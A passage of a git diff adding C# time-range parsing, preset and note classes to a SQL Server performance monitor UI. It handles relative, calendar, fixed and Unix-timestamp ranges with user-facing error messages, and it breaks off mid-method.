+    /// <summary>Why <paramref name="spec"/> is not a range a read in whole <paramref name="unit"/>s can honor, or <c>null</c> when it is.</summary>
+    public static string? Refusal(TimeRangeSpec spec, TimeSpan unit)
+    {
+        ArgumentNullException.ThrowIfNull(spec);
+        var name = unit == Day ? "day" : "hour";
+        if (spec.Kind != TimeRangeKind.Relative)
+        {
+            return "This read takes a length back from now, such as " + (unit == Day ? "7d or 30 days" : "4h or 3 days") + ".";
+        }
+
+        if (spec.Span < unit)
+        {
+            return "The shortest range for this read is 1 " + name + ".";
+        }
+
+        if (spec.Span.Ticks % unit.Ticks != 0)
+        {
+            var whole = TimeSpan.FromTicks((spec.Span.Ticks / unit.Ticks + 1) * unit.Ticks);
+            return "This read takes whole " + name + "s; try " + TimeRangeSpec.FormatLength(whole) + ".";
+        }
+
+        return null;
+    }
+
+    /// <summary>True when a read in whole <paramref name="unit"/>s can honor <paramref name="spec"/>.</summary>
+    public static bool Admits(TimeRangeSpec spec, TimeSpan unit) => Refusal(spec, unit) is null;
+}
diff --git a/PerformanceMonitor.Ui/TimeRange/TimeRangeParser.cs b/PerformanceMonitor.Ui/TimeRange/TimeRangeParser.cs
new file mode 100644
index 0000000000..365350a289
--- /dev/null
+++ b/PerformanceMonitor.Ui/TimeRange/TimeRangeParser.cs
@@ -0,0 +1,617 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Text.RegularExpressions;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>What <see cref="TimeRangeParser.Parse"/> made of a line of text (#5562).</summary>
+public sealed class TimeRangeParseResult
+{
+    internal TimeRangeParseResult(ResolvedTimeRange range)
+    {
+        Range = range;
+        Echo = range.Label;
+    }
+
+    internal TimeRangeParseResult(string code, string message)
+    {
+        ErrorCode = code;
+        Error = message;
+        Echo = string.Empty;
+    }
+
+    /// <summary>The range, resolved at the now and zone the parse was given; <c>null</c> when the text was refused.</summary>
+    public ResolvedTimeRange? Range { get; }
+
+    /// <summary>What the picker shows before Apply: the range's one-line label ("3d  Oct 5, 12:00 am - Oct 8, 7:01 am (UTC-04:00)"), empty on an error.</summary>
+    public string Echo { get; }
+
+    /// <summary>The plain reason the text was refused, or <c>null</c>.</summary>
+    public string? Error { get; }
+
+    /// <summary>A stable code for the refusal: empty, unrecognized, bad_date, bad_time, bad_range, needs_end, too_short, end_before_start, start_in_future, range_not_started, too_far_back. <c>null</c> on success.</summary>
+    public string? ErrorCode { get; }
+
+    /// <summary>The named range, or <c>null</c> on an error.</summary>
+    public TimeRangeSpec? Spec => Range?.Spec;
+
+    /// <summary>True when the text became a range.</summary>
+    public bool Ok => Range is not null;
+}
+
+/// <summary>
+/// One line of text to a time range (#5562). The picker's text box, the web module and the shared fixture
+/// (<c>time-range-cases.json</c>) all follow this grammar; the text is case-insensitive and commas, extra spaces and
+/// en or em dashes do not matter.
+///
+/// <list type="bullet">
+///   <item><b>Relative</b>: <c>45m</c>, <c>12 hours</c>, <c>10d</c>, <c>2 weeks</c>, <c>last 3 days</c>, <c>past 90 min</c>. Units m/min/minute(s), h/hr/hour(s),
+///   d/day(s), w/wk/week(s), mo/month(s) (a month is 30 real days). Counts may have a decimal part. Real elapsed time.</item>
+///   <item><b>Calendar</b>: <c>today</c>, <c>yesterday</c>, <c>this week</c> (<c>week to date</c>, <c>wtd</c>), <c>last week</c>, <c>this month</c>
+///   (<c>mtd</c>), <c>last month</c>, <c>this year</c> (<c>ytd</c>), <c>last year</c>; "previous" works for "last". Wall-clock days of the display zone, weeks start Monday.</item>
+///   <item><b>Fixed</b>: one point or two joined by <c>-</c>, <c>to</c> or <c>until</c>. A point is a date, a time, or both. Dates: <c>Oct 1</c>, <c>October 1 2025</c>,
+///   <c>1 Oct</c>, <c>10/1</c>, <c>10/1/2026</c> (month first), <c>2026-10-01</c>, <c>today</c>, <c>yesterday</c>. Times: <c>1:00 am</c>, <c>12pm</c>, <c>13:00</c>,
+///   <c>13:00:30</c>, <c>noon</c>, <c>midnight</c>. One date alone is the whole day; in a range a date alone as the end includes that whole day. A time alone takes
+///   the other end's date, or the latest day that is not in the future. A date without a year is the latest such date not in the future.</item>
+///   <item><b>Growing</b>: <c>since 10/1</c>, <c>Oct 2 12pm to now</c>. The end slides with now.</item>
+///   <item><b>Unix</b>: <c>1790852543 - 1791457343</c>; ten digits are seconds, thirteen are milliseconds.</item>
+/// </list>
+///
+/// <para>Typed wall times resolve through <see cref="DisplayZone.ToUtcBound"/> (the start takes the earliest instant,
+/// the end the latest; a repeated hour widens, a skipped time maps to the change instant). Nothing shorter than
+/// <see cref="TimeRangeSpec.MinimumSpan"/> is accepted, and nothing is widened. Pure: the caller gives the now and
+/// the zone.</para>
+/// </summary>
+public static class TimeRangeParser
+{
+    private const string Examples = "Try 45m, 3 days, last month, Oct 1 - Oct 2 or 1:00 am - 7:00 am.";
+
+    private static readonly Regex RelativeRx = new(@"^(?:(?:last|past|previous)\s+)?(\d+(?:\.\d+)?)\s*([a-z]+)$", RegexOptions.CultureInvariant);
+    private static readonly Regex SeparatorRx = new(@"\s+(?:-|to|until)\s+", RegexOptions.CultureInvariant);
+    private static readonly Regex UnixRx = new(@"^(?:\d{10}|\d{13})$", RegexOptions.CultureInvariant);
+    private static readonly Regex IsoTRx = new(@"(\d{4}-\d{1,2}-\d{1,2})t(\d)", RegexOptions.CultureInvariant);
+    private static readonly Regex Time12Rx = new(@"(?:^|\s)(\d{1,2})(?::(\d{2}))?(?::(\d{2}))?\s*(am|pm)$", RegexOptions.CultureInvariant);
+    private static readonly Regex Time24Rx = new(@"(?:^|\s)(\d{1,2}):(\d{2})(?::(\d{2}))?$", RegexOptions.CultureInvariant);
+    private static readonly Regex TimeWordRx = new(@"(?:^|\s)(noon|midnight)$", RegexOptions.CultureInvariant);
+    private static readonly Regex MonthDayRx = new(@"^([a-z]+)\s+(\d{1,2})(?:st|nd|rd|th)?(?:\s+(\d{4}))?$", RegexOptions.CultureInvariant);
+    private static readonly Regex DayMonthRx = new(@"^(\d{1,2})(?:st|nd|rd|th)?\s+([a-z]+)(?:\s+(\d{4}))?$", RegexOptions.CultureInvariant);
+    private static readonly Regex SlashRx = new(@"^(\d{1,2})/(\d{1,2})(?:/(\d{4}|\d{2}))?$", RegexOptions.CultureInvariant);
+    private static readonly Regex IsoRx = new(@"^(\d{4})-(\d{1,2})-(\d{1,2})$", RegexOptions.CultureInvariant);
+    private static readonly Regex SpacesRx = new(@"\s+", RegexOptions.CultureInvariant);
+
+    private static readonly Dictionary<string, CalendarPeriod> Periods = new(StringComparer.Ordinal)
+    {
+        ["today"] = CalendarPeriod.Today,
+        ["yesterday"] = CalendarPeriod.Yesterday,
+        ["this week"] = CalendarPeriod.WeekToDate,
+        ["week to date"] = CalendarPeriod.WeekToDate,
+        ["wtd"] = CalendarPeriod.WeekToDate,
+        ["last week"] = CalendarPeriod.PreviousWeek,
+        ["previous week"] = CalendarPeriod.PreviousWeek,
+        ["this month"] = CalendarPeriod.MonthToDate,
+        ["month to date"] = CalendarPeriod.MonthToDate,
+        ["mtd"] = CalendarPeriod.MonthToDate,
+        ["last month"] = CalendarPeriod.PreviousMonth,
+        ["previous month"] = CalendarPeriod.PreviousMonth,
+        ["this year"] = CalendarPeriod.YearToDate,
+        ["year to date"] = CalendarPeriod.YearToDate,
+        ["ytd"] = CalendarPeriod.YearToDate,
+        ["last year"] = CalendarPeriod.PreviousYear,
+        ["previous year"] = CalendarPeriod.PreviousYear
+    };
+
+    private static readonly Dictionary<string, int> Months = new(StringComparer.Ordinal)
+    {
+        ["jan"] = 1, ["january"] = 1, ["feb"] = 2, ["february"] = 2, ["mar"] = 3, ["march"] = 3,
+        ["apr"] = 4, ["april"] = 4, ["may"] = 5, ["jun"] = 6, ["june"] = 6, ["jul"] = 7, ["july"] = 7,
+        ["aug"] = 8, ["august"] = 8, ["sep"] = 9, ["sept"] = 9, ["september"] = 9,
+        ["oct"] = 10, ["october"] = 10, ["nov"] = 11, ["november"] = 11, ["dec"] = 12, ["december"] = 12
+    };
+
+    private static readonly Dictionary<string, double> Units = new(StringComparer.Ordinal)
+    {
+        ["m"] = 60, ["min"] = 60, ["mins"] = 60, ["minute"] = 60, ["minutes"] = 60,
+        ["h"] = 3600, ["hr"] = 3600, ["hrs"] = 3600, ["hour"] = 3600, ["hours"] = 3600,
+        ["d"] = 86400, ["day"] = 86400, ["days"] = 86400,
+        ["w"] = 604800, ["wk"] = 604800, ["wks"] = 604800, ["week"] = 604800, ["weeks"] = 604800,
+        ["mo"] = 2592000, ["month"] = 2592000, ["months"] = 2592000
+    };
+
+    /// <summary>One side of a typed range, before it has a year, a day or a zone.</summary>
+    private sealed class Point
+    {
+        public bool IsNow;
+        public DateTime? InstantUtc;
+        public bool HasDate;
+        public int? Year;
+        public int Month;
+        public int Day;
+        public TimeSpan? Time;
+    }
+
+    private sealed class ParseFailure : Exception
+    {
+        public ParseFailure(string code, string message)
+            : base(message)
+        {
+            Code = code;
+        }
+
+        public string Code { get; }
+    }
+
+    /// <summary>Reads <paramref name="text"/> as a range at <paramref name="nowUtc"/> (naive UTC) in <paramref name="zone"/>.</summary>
+    public static TimeRangeParseResult Parse(string? text, DateTime nowUtc, TimeZoneInfo zone)
+    {
+        var now = TimeRangeSpec.Naive(nowUtc);
+        try
+        {
+            var spec = ParseSpec(text, now, zone);
+            return spec.TryResolve(now, zone, out var range, out var error)
+                ? new TimeRangeParseResult(range!)
+                : new TimeRangeParseResult(error!.Code, error.Message);
+        }
+        catch (ParseFailure ex)
+        {
+            return new TimeRangeParseResult(ex.Code, ex.Message);
+        }
+        catch (ArgumentOutOfRangeException)
+        {
+            return new TimeRangeParseResult("bad_date", "That date is out of range.");
+        }
+    }
+
+    private static TimeRangeSpec ParseSpec(string? text, DateTime now, TimeZoneInfo zone)
+    {
+        var s = Normalize(text);
+        if (s.Length == 0)
+        {
+            throw new ParseFailure("empty", "Type a range. " + Examples);
+        }
+
+        if (Periods.TryGetValue(s, out var period))
+        {
+            return TimeRangeSpec.ForPeriod(period);
+        }
+
+        var relative = RelativeRx.Match(s);
+        if (relative.Success && Units.TryGetValue(relative.Groups[2].Value, out var unitSeconds))
+        {
+            var count = double.Parse(relative.Groups[1].Value, CultureInfo.InvariantCulture);
+            var seconds = count * unitSeconds;
+            if (seconds > 36500d * 86400d)
+            {
+                throw new ParseFailure("too_far_back", "That reaches back more than 100 years.");
+            }
+
+            return TimeRangeSpec.Relative(TimeSpan.FromSeconds(Math.Round(seconds)));
+        }
+
+        var wallNow = DisplayZone.ToDisplay(now, zone);
+        if (s.StartsWith("since ", StringComparison.Ordinal))
+        {
+            return SinceSpec(ParsePoint(s.Substring(6), wallNow), wallNow, zone);
+        }
+
+        if (s.StartsWith("from ", StringComparison.Ordinal))
+        {
+            s = s.Substring(5);
+        }
+
+        var sides = SplitSides(s);
+        if (sides.Count == 1)
+        {
+            var only = ParsePoint(sides[0], wallNow);
+            if (only.IsNow || only.InstantUtc is not null || !only.HasDate || only.Time is not null)
+            {
+                throw new ParseFailure("needs_end", "Give an end as well, like \"Oct 1 12pm - 3pm\", or say \"since Oct 1 12pm\".");
+            }
+
+            /* One date alone is the whole day. */
+            var day = DateFor(only, wallNow, null);
+            return FixedSpec(day, day.AddDays(1), zone);
+        }
+
+        var a = ParsePoint(sides[0], wallNow);
+        var b = ParsePoint(sides[1], wallNow);
+        if (a.IsNow)
+        {
+            throw new ParseFailure("bad_range", "The start cannot be now. Use \"since\" for a range that grows.");
+        }
+
+        if (b.IsNow)
+        {
+            return SinceSpec(a, wallNow, zone);
+        }
+
+        if (a.InstantUtc is not null || b.InstantUtc is not null)
+        {
+            if (a.InstantUtc is null || b.InstantUtc is null)
+            {
+                throw new ParseFailure("bad_range", "Use two Unix times, or two dates and times, not one of each.");
+            }
+
+            return TimeRangeSpec.FixedRange(a.InstantUtc.Value, b.InstantUtc.Value);
+        }
+
+        return RangeSpec(a, b, wallNow, zone);
+    }
+
+    private static TimeRangeSpec FixedSpec(DateTime startWall, DateTime endWall, TimeZoneInfo zone)
+        => TimeRangeSpec.FixedRange(
+            DisplayZone.ToUtcBound(startWall, zone, BoundSide.From),
+            DisplayZone.ToUtcBound(endWall, zone, BoundSide.To));
+
+    private static TimeRangeSpec SinceSpec(Point start, DateTime wallNow, TimeZoneInfo zone)
+    {
+        if (start.IsNow)
+        {
+            throw new ParseFailure("bad_range", "The start cannot be now.");
+        }
+
+        if (start.InstantUtc is not null)
+        {
+            return TimeRangeSpec.SinceInstant(start.InstantUtc.Value);
+        }
+
+        DateTime wall;
+        if (start.HasDate)
+        {
+            wall = DateFor(start, wallNow, start.Time) + (start.Time ?? TimeSpan.Zero);
+        }
+        else
+        {
+            /* A time alone is the latest such time that is not in the future. */
+            wall = wallNow.Date + start.Time!.Value;
+            if (wall > wallNow)
+            {
+                wall = wall.AddDays(-1);
+            }
+        }
+
+        return TimeRangeSpec.SinceInstant(DisplayZone.ToUtcBound(wall, zone, BoundSide.From));
+    }
+
+    private static TimeRangeSpec RangeSpec(Point a, Point b, DateTime wallNow, TimeZoneInfo zone)
+    {
+        DateTime aDate;
+        DateTime bDate;
+
+        if (a.HasDate && b.HasDate)
+        {
+            if (a.Year is null && b.Year is null)
+            {
+                aDate = DateFor(a, wallNow, a.Time);
+                bDate = WithYear(b, aDate.Year);
+                bDate = RollEndIntoNextYear(b, aDate, bDate, wallNow);
+            }
+            else if (a.Year is null)
+            {
+                bDate = WithYear(b, b.Year!.Value);
+                aDate = WithYear(a, bDate.Year);
+                if (aDate > bDate)
+                {
+                    aDate = WithYear(a, bDate.Year - 1);
+                }
+            }
+            else
+            {
+                aDate = WithYear(a, a.Year.Value);
+                bDate = WithYear(b, b.Year ?? aDate.Year);
+                if (b.Year is null)
+                {
+                    bDate = RollEndIntoNextYear(b, aDate, bDate, wallNow);
+                }
+            }
+
+            if (bDate < aDate)
+            {
+                throw new ParseFailure("end_before_start", "The end is before the start.");
+            }
+        }
+        else if (a.HasDate)
+        {
+            aDate = DateFor(a, wallNow, a.Time);
+            bDate = aDate;
+            if (b.Time!.Value < (a.Time ?? TimeSpan.Zero))
+            {
+                bDate = aDate.AddDays(1);
+            }
+        }
+        else if (b.HasDate)
+        {
+            bDate = DateFor(b, wallNow, b.Time);
+            aDate = bDate;
+            if (b.Time is not null && a.Time!.Value > b.Time.Value)
+            {
+                aDate = bDate.AddDays(-1);
+            }
+        }
+        else
+        {
+            /* Two times: the latest day whose range has ended by now; an end earlier on the clock than the start is the next day. */
+            var rollsOver = b.Time!.Value < a.Time!.Value ? 1 : 0;
+            aDate = wallNow.Date;
+            for (var back = 0; back < 3; back++)
+            {
+                aDate = wallNow.Date.AddDays(-back);
+                if (aDate.AddDays(rollsOver) + b.Time.Value <= wallNow)
+                {
+                    break;
+                }
+            }
+
+            bDate = aDate.AddDays(rollsOver);
+        }
+
+        var startWall = aDate + (a.Time ?? TimeSpan.Zero);
+        var endWall = b.Time is null ? bDate.AddDays(1) : bDate + b.Time.Value;
+        return FixedSpec(startWall, endWall, zone);
+    }
+
+    /// <summary>
+    /// An end typed without a year that falls before its start ("Dec 30 - Jan 2") means the next year, but only when
+    /// that end has already happened: "Oct 2 - Oct 1" is a mistake, not a range into next year.
+    /// </summary>
+    private static DateTime RollEndIntoNextYear(Point end, DateTime startDate, DateTime endDate, DateTime wallNow)
+    {
+        if (endDate >= startDate || startDate.Year >= 9999)
+        {
+            return endDate;
+        }
+
+        try
+        {
+            var next = WithYear(end, startDate.Year + 1);
+            return next <= wallNow ? next : endDate;
+        }
+        catch (ParseFailure)
+        {
+            return endDate;
+        }
+    }
+
+    /// <summary>The calendar day of a point that has a date. Without a year it is the latest such day-and-time not after now.</summary>
+    private static DateTime DateFor(Point p, DateTime wallNow, TimeSpan? time)
+    {
+        if (p.Year is not null)
+        {
+            return WithYear(p, p.Year.Value);
+        }
+
+        for (var year = wallNow.Year; year >= wallNow.Year - 8; year--)
+        {
+            if (p.Day <= DateTime.DaysInMonth(year, p.Month))
+            {
+                var candidate = new DateTime(year, p.Month, p.Day, 0, 0, 0, DateTimeKind.Unspecified);
+                if (candidate + (time ?? TimeSpan.Zero) <= wallNow)
+                {
+                    return candidate;
+                }
+            }
+        }
+
+        throw new ParseFailure("bad_date", "That date does not exist.");
+    }
+
+    private static DateTime WithYear(Point p, int year)
+    {
+        if (year < 1 || year > 9999 || p.Day > DateTime.DaysInMonth(year, p.Month))
+        {
+            throw new ParseFailure("bad_date", "That date does not exist.");
+        }
+
+        return new DateTime(year, p.Month, p.Day, 0, 0, 0, DateTimeKind.Unspecified);
+    }
+
+    private static string Normalize(string? text)
+    {
+        if (string.IsNullOrWhiteSpace(text))
+        {
+            return string.Empty;
+        }
+
+        var s = text.Trim().ToLowerInvariant();
+        s = s.Replace('–', '-').Replace('—', '-').Replace('−', '-').Replace(',', ' ');
+        return SpacesRx.Replace(s, " ").Trim();
+    }
+
+    /// <summary>Splits on one separator: " - ", " to ", " until ", or, with none of those, a single dash. Two or more dashes and no spaced separator is one point (an ISO date).</summary>
+    private static List<string> SplitSides(string s)
+    {
+        var parts = SeparatorRx.Split(s);
+        if (parts.Length == 1)
+        {
+            var dashes = s.Split('-');
+            if (dashes.Length == 2)
+            {
+                parts = dashes;
+            }
+        }
+
+        if (parts.Length > 2)
+        {
+            throw new ParseFailure("bad_range", "Use one start and one end. " + Examples);
+        }
+
+        var sides = new List<string>();
+        foreach (var part in parts)
+        {
+            var side = part.Trim();
+            if (side.Length == 0)
+            {
+                throw new ParseFailure("unrecognized", "A range needs something on both sides of the dash. " + Examples);
+            }
+
+            sides.Add(side);
+        }
+
+        return sides;
+    }
+
+    private static Point ParsePoint(string text, DateTime wallNow)
+    {
+        var p = text.Trim();
+        if (p == "now")
+        {
+            return new Point { IsNow = true };
+        }
+
+        if (UnixRx.IsMatch(p))
+        {
+            var number = long.Parse(p, CultureInfo.InvariantCulture);
+            var seconds = p.Length == 13 ? number / 1000d : number;
+            var instant = DateTime.UnixEpoch.AddSeconds(seconds);
+            return new Point { InstantUtc = DateTime.SpecifyKind(instant, DateTimeKind.Unspecified) };
+        }
+
+        p = IsoTRx.Replace(p, "$1 $2");
+        if (p.StartsWith("at ", StringComparison.Ordinal))
+        {
+            p = p.Substring(3);
+        }
+        else if (p.StartsWith("on ", StringComparison.Ordinal))
+        {
+            p = p.Substring(3);
+        }
+
+        p = p.Replace(" at ", " ");
+
+        var point = new Point();
+        var datePart = p;
+        var m12 = Time12Rx.Match(p);
+        var m24 = Time24Rx.Match(p);
+        var mWord = TimeWordRx.Match(p);
+        if (m12.Success)
+        {
+            var hour = int.Parse(m12.Groups[1].Value, CultureInfo.InvariantCulture);
+            var minute = m12.Groups[2].Success ? int.Parse(m12.Groups[2].Value, CultureInfo.InvariantCulture) : 0;
+            var second = m12.Groups[3].Success ? int.Parse(m12.Groups[3].Value, CultureInfo.InvariantCulture) : 0;
+            if (hour < 1 || hour > 12 || minute > 59 || second > 59)
+            {
+                throw new ParseFailure("bad_time", "\"" + m12.Value.Trim() + "\" is not a time on a 12-hour clock.");
+            }
+
+            var pm = m12.Groups[4].Value == "pm";
+            point.Time = new TimeSpan((hour % 12) + (pm ? 12 : 0), minute, second);
+            datePart = p.Substring(0, m12.Index);
+        }
+        else if (m24.Success)
+        {
+            var hour = int.Parse(m24.Groups[1].Value, CultureInfo.InvariantCulture);
+            var minute = int.Parse(m24.Groups[2].Value, CultureInfo.InvariantCulture);
+            var second = m24.Groups[3].Success ? int.Parse(m24.Groups[3].Value, CultureInfo.InvariantCulture) : 0;
+            if (hour > 23 || minute > 59 || second > 59)
+            {
+                throw new ParseFailure("bad_time", "\"" + m24.Value.Trim() + "\" is not a time on a 24-hour clock.");
+            }
+
+            point.Time = new TimeSpan(hour, minute, second);
+            datePart = p.Substring(0, m24.Index);
+        }
+        else if (mWord.Success)
+        {
+            point.Time = mWord.Groups[1].Value == "noon" ? TimeSpan.FromHours(12) : TimeSpan.Zero;
+            datePart = p.Substring(0, mWord.Index);
+        }
+
+        datePart = datePart.Trim();
+        if (datePart.Length == 0)
+        {
+            if (point.Time is null)
+            {
+                throw new ParseFailure("unrecognized", "\"" + text.Trim() + "\" is not a date or a time. " + Examples);
+            }
+
+            return point;
+        }
+
+        ParseDate(datePart, point, wallNow, text);
+        return point;
+    }
+
+    private static void ParseDate(string d, Point point, DateTime wallNow, string original)
+    {
+        point.HasDate = true;
+        if (d == "today" || d == "yesterday")
+        {
+            var day = d == "today" ? wallNow.Date : wallNow.Date.AddDays(-1);
+            point.Year = day.Year;
+            point.Month = day.Month;
+            point.Day = day.Day;
+            return;
+        }
+
+        int year = 0;
+        int month;
+        int dayOfMonth;
+        var yearText = string.Empty;
+
+        var md = MonthDayRx.Match(d);
+        var dm = DayMonthRx.Match(d);
+        var slash = SlashRx.Match(d);
+        var iso = IsoRx.Match(d);
+        if (md.Success && Months.TryGetValue(md.Groups[1].Value, out month))
+        {
+            dayOfMonth = int.Parse(md.Groups[2].Value, CultureInfo.InvariantCulture);
+            yearText = md.Groups[3].Value;
+        }
+        else if (dm.Success && Months.TryGetValue(dm.Groups[2].Value, out month))
+        {
+            dayOfMonth = int.Parse(dm.Groups[1].Value, CultureInfo.InvariantCulture);
+            yearText = dm.Groups[3].Value;
+        }
+        else if (slash.Success)
+        {
+            month = int.Parse(slash.Groups[1].Value, CultureInfo.InvariantCulture);
+            dayOfMonth = int.Parse(slash.Groups[2].Value, CultureInfo.InvariantCulture);
+            yearText = slash.Groups[3].Value;
+            if (yearText.Length == 2)
+            {
+                yearText = "20" + yearText;
+            }
+        }
+        else if (iso.Success)
+        {
+            yearText = iso.Groups[1].Value;
+            month = int.Parse(iso.Groups[2].Value, CultureInfo.InvariantCulture);
+            dayOfMonth = int.Parse(iso.Groups[3].Value, CultureInfo.InvariantCulture);
+        }
+        else
+        {
+            throw new ParseFailure("unrecognized", "\"" + original.Trim() + "\" is not a date or a time. " + Examples);
+        }
+
+        if (month < 1 || month > 12 || dayOfMonth < 1 || dayOfMonth > 31)
+        {
+            throw new ParseFailure("bad_date", "\"" + original.Trim() + "\" is not a date that exists.");
+        }
+
+        if (yearText.Length > 0)
+        {
+            year = int.Parse(yearText, CultureInfo.InvariantCulture);
+            if (year < 1900 || year > 9999 || dayOfMonth > DateTime.DaysInMonth(year, month))
+            {
+                throw new ParseFailure("bad_date", "\"" + original.Trim() + "\" is not a date that exists.");
+            }
+
+            point.Year = year;
+        }
+        else if (dayOfMonth > DateTime.DaysInMonth(2024, month))
+        {
+            throw new ParseFailure("bad_date", "\"" + original.Trim() + "\" is not a date that exists.");
+        }
+
+        point.Month = month;
+        point.Day = dayOfMonth;
+    }
+}
diff --git a/PerformanceMonitor.Ui/TimeRange/TimeRangePresets.cs b/PerformanceMonitor.Ui/TimeRange/TimeRangePresets.cs
new file mode 100644
index 0000000000..164abcd7bc
--- /dev/null
+++ b/PerformanceMonitor.Ui/TimeRange/TimeRangePresets.cs
@@ -0,0 +1,176 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// The ranges the picker lists (#5562): nine short presets and eight calendar periods. All are
+/// <see cref="TimeRangeSpec"/>s, so a preset, a typed range and a saved setting resolve through one path.
+/// </summary>
+public static class TimeRangePresets
+{
+    /// <summary>The short presets, shortest first: 5m 15m 30m 1h 4h 1d 2d 1w 1mo (1mo is 30 real days).</summary>
+    public static IReadOnlyList<TimeRangeSpec> Rolling { get; } = new[]
+    {
+        TimeRangeSpec.Relative(TimeSpan.FromMinutes(5)),
+        TimeRangeSpec.Relative(TimeSpan.FromMinutes(15)),
+        TimeRangeSpec.Relative(TimeSpan.FromMinutes(30)),
+        TimeRangeSpec.Relative(TimeSpan.FromHours(1)),
+        TimeRangeSpec.Relative(TimeSpan.FromHours(4)),
+        TimeRangeSpec.Relative(TimeSpan.FromDays(1)),
+        TimeRangeSpec.Relative(TimeSpan.FromDays(2)),
+        TimeRangeSpec.Relative(TimeSpan.FromDays(7)),
+        TimeRangeSpec.Relative(TimeSpan.FromDays(30))
+    };
+
+    /// <summary>The calendar periods: Today, Yesterday, Week to Date, Previous Week, Month to Date, Previous Month, Year to Date, Previous Year.</summary>
+    public static IReadOnlyList<TimeRangeSpec> CalendarPeriods { get; } = new[]
+    {
+        TimeRangeSpec.ForPeriod(CalendarPeriod.Today),
+        TimeRangeSpec.ForPeriod(CalendarPeriod.Yesterday),
+        TimeRangeSpec.ForPeriod(CalendarPeriod.WeekToDate),
+        TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousWeek),
+        TimeRangeSpec.ForPeriod(CalendarPeriod.MonthToDate),
+        TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousMonth),
+        TimeRangeSpec.ForPeriod(CalendarPeriod.YearToDate),
+        TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousYear)
+    };
+
+    /// <summary>The range the old hour lists meant: 1, 4, 12, 24 and 168 hours, and any other whole number of hours. <c>null</c> for zero or less.</summary>
+    /// <remarks>24 hours is "1d" and 168 is "1w": the same instants, the id the new lists use. Also <c>null</c> past the 100-year relative limit (#5562 review: a corrupt settings value threw OverflowException).</remarks>
+    public static TimeRangeSpec? FromLegacyHours(int hours)
+        => hours <= 0 || hours > TimeRangeSpec.MaxRelative.TotalHours ? null : TimeRangeSpec.Relative(TimeSpan.FromHours(hours));
+
+    /// <summary>What "Apply to All" sends for a held range (#5562, M2; Lite and the Viewer share this). A relative range and a fixed or
+    /// since range go as they are (every tab then windows on the same period, as #4766 settled). A calendar period is resolved ONCE
+    /// here, in the source tab's zone, and sent as the instants it names - or as a since range while it still runs (Today) - because
+    /// each tab draws its own server's clock and "Today" would otherwise mean a different day on each. A period that cannot be
+    /// resolved right now goes as it is.</summary>
+    public static TimeRangeSpec ForBroadcast(TimeRangeSpec spec, DateTime nowUtc, TimeZoneInfo zone)
+    {
+        ArgumentNullException.ThrowIfNull(spec);
+        ArgumentNullException.ThrowIfNull(zone);
+        if (spec.Kind != TimeRangeKind.Calendar || !spec.TryResolve(nowUtc, zone, out var range, out _) || range is null)
+        {
+            return spec;
+        }
+
+        return range.IsLive ? TimeRangeSpec.SinceInstant(range.StartUtc) : TimeRangeSpec.FixedRange(range.StartUtc, range.EndUtc);
+    }
+
+    /// <summary>The length of a calendar period at <paramref name="nowUtc"/> in <paramref name="zone"/> ("3d", "7h 1m"), or <c>null</c> when the period cannot be used right now: only at zero length (exactly midnight for Today), because a calendar period is exempt from the 5-minute floor (#5562).</summary>
+    public static string? CurrentLength(TimeRangeSpec spec, DateTime nowUtc, TimeZoneInfo zone)
+        => spec.TryResolve(nowUtc, zone, out var range, out _) ? range!.Length : null;
+
+    /// <summary>Finds a preset (short or calendar) by <see cref="TimeRangeSpec.Id"/>, or <c>null</c>.</summary>
+    public static TimeRangeSpec? Find(string? id)
+    {
+        if (string.IsNullOrWhiteSpace(id))
+        {
+            return null;
+        }
+
+        var wanted = id.Trim().ToLowerInvariant();
+        foreach (var spec in Rolling)
+        {
+            if (string.Equals(spec.Id, wanted, StringComparison.Ordinal))
+            {
+                return spec;
+            }
+        }
+
+        foreach (var spec in CalendarPeriods)
+        {
+            if (string.Equals(spec.Id, wanted, StringComparison.Ordinal))
+            {
+                return spec;
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>The short label on a preset button: "5m", "4h", "1d", "1w", "1mo".</summary>
+    public static string ShortLabel(TimeRangeSpec spec) => spec.Id;
+}
+
+/// <summary>
+/// The one-line notes beside the picker (#5562): where the stored data starts, and how often a tab's collector
+/// samples when the range holds too few samples to draw. Pure, so the picker, the tabs and the tests word them alike.
+/// </summary>
+public static class TimeRangeNotes
+{
+    /// <summary>How far before the data's start a range may begin before the note appears (collection stamps and the first sample's lag).</summary>
+    public static readonly TimeSpan DataStartSlack = TimeSpan.FromMinutes(90);
+
+    /// <summary>The fewest samples a range should hold before the collector-interval note appears.</summary>
+    public const int MinSamples = 3;
+
+    /// <summary>
+    /// "Data starts Oct 3, 2:00 pm" when the range starts more than <see cref="DataStartSlack"/> before
+    /// <paramref name="dataStartUtc"/>, else <c>null</c>. The time is in the range's display zone.
+    /// </summary>
+    public static string? DataStartNote(ResolvedTimeRange range, DateTime? dataStartUtc)
+    {
+        if (dataStartUtc is null)
+        {
+            return null;
+        }
+
+        var dataStart = TimeRangeSpec.Naive(dataStartUtc.Value);
+        if (range.StartUtc >= dataStart - DataStartSlack)
+        {
+            return null;
+        }
+
+        return "Data starts " + range.FormatBound(dataStart, includeSeconds: false);
+    }
+
+    /// <summary>
+    /// "Data here is collected every 5 minutes." when the range holds fewer than <see cref="MinSamples"/> samples at
+    /// <paramref name="interval"/>, else <c>null</c>. A tab names its main collector's actual interval; the note
+    /// explains an empty or one-point chart and never widens the range.
+    /// </summary>
+    public static string? SampleIntervalNote(TimeSpan span, TimeSpan? interval)
+    {
+        if (interval is null || interval.Value <= TimeSpan.Zero || span >= TimeSpan.FromTicks(interval.Value.Ticks * MinSamples))
+        {
+            return null;
+        }
+
+        return "Data here is collected every " + IntervalText(interval.Value) + ".";
+    }
+
+    /// <summary>"minute", "5 minutes", "2 hours", "30 seconds".</summary>
+    public static string IntervalText(TimeSpan interval)
+    {
+        long count;
